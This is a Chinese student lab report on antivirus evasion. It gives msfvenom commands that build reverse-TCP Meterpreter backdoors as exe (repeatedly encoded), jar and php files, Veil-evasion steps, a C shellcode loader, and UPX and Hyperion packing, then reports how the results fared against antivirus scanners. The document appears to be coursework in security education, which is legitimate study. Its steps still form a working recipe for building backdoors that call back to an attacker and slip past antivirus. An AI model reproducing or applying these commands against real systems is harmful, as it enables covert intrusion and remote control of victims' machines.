Exp3 免杀原理与实践 20164303 景圣
Exp3 免杀原理与实践
一、实验内容
1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2. 通过组合应用各种技术实现恶意代码免杀
3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
二、基础问题回答
1.杀软是如何检测出恶意代码的?
基于特征码的检测:通过对病毒库中已有记录的恶意代码截取其中一小段代码对程序进行检测,发现相同就认定为恶意代码。
启发式恶意软件检测:就是根据恶意代码的常见特征去推断。通常是因为缺乏精确判定依据。
基于行为的恶意软件检测:可以理解为加入了行为监控的启发式。通过对恶意代码的观察研究,确定恶意代码共同的比较特殊的行为,监视程序的运行,如果发现程序出现这些特殊行为,就会认为其是恶意软件。
2.免杀是做什么?
使用各种技术手段对恶意软件进行处理,使它不会被杀毒软件检测到。
3.问:免杀的基本方法有哪些?
- (1)改变特征码
只有EXE——加壳(压缩壳 加密壳)
有shellcode(像Meterpreter)——利用encode进行编码
有源代码——用其他语言进行重写再编译
- (2)改变行为
- 改变通讯方式、改变操作模式、使用非常规方法
三、实验步骤
任务一 正确使用免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
-
在实验二中使用msf生成了后门程序,使用Virscan对生成的后门程序进行扫描。
- 在使用Virscan网站时,可能会出现文件名出现违法字,这时只需将文件名修改一下即可。
-
改命过后Virscan网站的扫描结果如下:
2、一次编码使用命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded.exe
(
-e
选择编码器,-b
是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符)
3、七次编码使用命令:-i
设置迭代次数
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.1.115 LPORT=4303 -f exe > met-encoded7.exe
将编码七次后的可执行文件上传到VirusTotal扫描后结果如下:
2. msfvenom生成jar文件和php文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.jar
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4303 x> 4303.php
-
生成文件如下所示:
-
扫描结果如下:
3. 使用veil-evasion生成后门程序及检测
安装veil
- 如果镜像是2018的话,在安装之前可以先执行下面的指令,如果不是可以直接下载安装。
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
-
用
sudo apt-get install veil-evasion
命令安装Veil -
用
veil
命令打开veil,输入y
继续安装直至完成 -
成功的话,输入
veil
命令,会出现下面这个界面 -
用
use evasion
命令进入Evil-Evasion
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
设置反弹连接IP,命令为:
set LHOST 192.168.1.115
; -
设置端口,命令为:
set LPORT 4303
- 输入
generate
生成文件,接着输入你想要playload的名字:veil_4303
-
如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_4303.exe
5. 半手工注入Shellcode并执行
-
首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.116.128 LPORT=4303 -f c
用c语言生成一段shellcode;
- 创建一个文件
20164303.c
,然后将unsigned char buf[]
赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
-
使用命令:
i686-w64-mingw32-g++ 20164303.c -o 20164303.exe
编译这个.c文件为可执行文件; -
检测结果如下图:
6.对文件进行加壳
- 使用压缩壳(UPX)
-
给之前的20164303.exe加个壳得到4303_upxed.exe:
-
使用命令 upx 20164303.exe -o 4303_upxed.exe
-
- 加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入命令
wine hyperion.exe -v 4303_upxed.exe 4303_upxed_Hyperion.exe
进行加壳: - 检测结果如下图
- 将上一个生成的文件拷贝到
任务二:通过组合应用各种技术实现恶意代码免杀
生成的php文件在检测中只有一个杀毒软件报毒,同时windows10的病毒和威胁防护也没有反应,很神奇。
其他方式生成的文件会被windows10自带的病毒和威胁防护功能杀掉,病毒检测也会报毒。
任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
本来想再创建一个win7虚拟机来进行实验,然而一打开两个虚拟机,系统就崩了。呃,所以实验还没有开始就结束了。
四、实验总结与体会
这次实验出现问题很多,最头痛的是veil的安装,尝试了多种方法,呃,没有什么用。最后还是屈服了,找成功下到veil的同学拷贝了。我深切地体会到想要成功的黑掉别人的电脑也不是容易的事情,毕竟我自己黑自己都成功不了。但我也体会到网络攻防技术的魅力,并不是控制别人的电脑所带来的快感,而是费尽心血后成功的喜悦。虽然我没有成功,而且过程让我有点痛苦,但是我还是通过实验加深了对课堂所学知识的理解,也算有些收获。